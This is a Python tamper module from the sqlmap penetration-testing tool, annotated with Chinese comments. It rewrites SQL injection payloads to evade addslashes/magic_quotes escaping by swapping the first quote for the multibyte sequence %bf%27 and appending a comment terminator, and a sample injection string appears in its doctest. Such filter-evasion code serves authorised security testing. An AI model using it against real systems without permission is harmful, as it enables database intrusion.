#!/usr/bin/env python

"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import re

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces quote character (') with a multi-byte combo %BF%27 together with generic comment at the end (to make it work)

    Notes:
        * Useful for bypassing magic_quotes/addslashes feature

    Reference:
        * http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string

    >>> tamper("1' AND 1=1")
    '1%bf%27-- -'
    """

    retVal = payload

    # 如果payload不为空
    if payload:
        found = False
        retVal = ""

        # 遍历payload中的每个字符
        for i in xrange(len(payload)):
            # 如果字符为单引号且found为False
            if payload[i] == '\'' and not found:
                # 将%bf%27添加到retVal中
                retVal += "%bf%27"
                # 将found设置为True
                found = True
            else:
                # 将字符添加到retVal中
                retVal += payload[i]
                # 继续循环
                continue

        # 如果found为True
        if found:
            # 使用正则表达式替换retVal中的内容
            _ = re.sub(r"(?i)\s*(AND|OR)[\s(]+([^\s]+)\s*(=|LIKE)\s*\2", "", retVal)
            # 如果替换后的内容与retVal不同
            if _ != retVal:
                # 将替换后的内容赋值给retVal
                retVal = _
                # 将-- -添加到retVal中
                retVal += "-- -"
            # 如果retVal中不包含#、--、/*中的任意一个
            elif not any(_ in retVal for _ in ('#', '--', '/*')):
                # 将-- -添加到retVal中
                retVal += "-- -"
    # 返回retVal
    return retVal
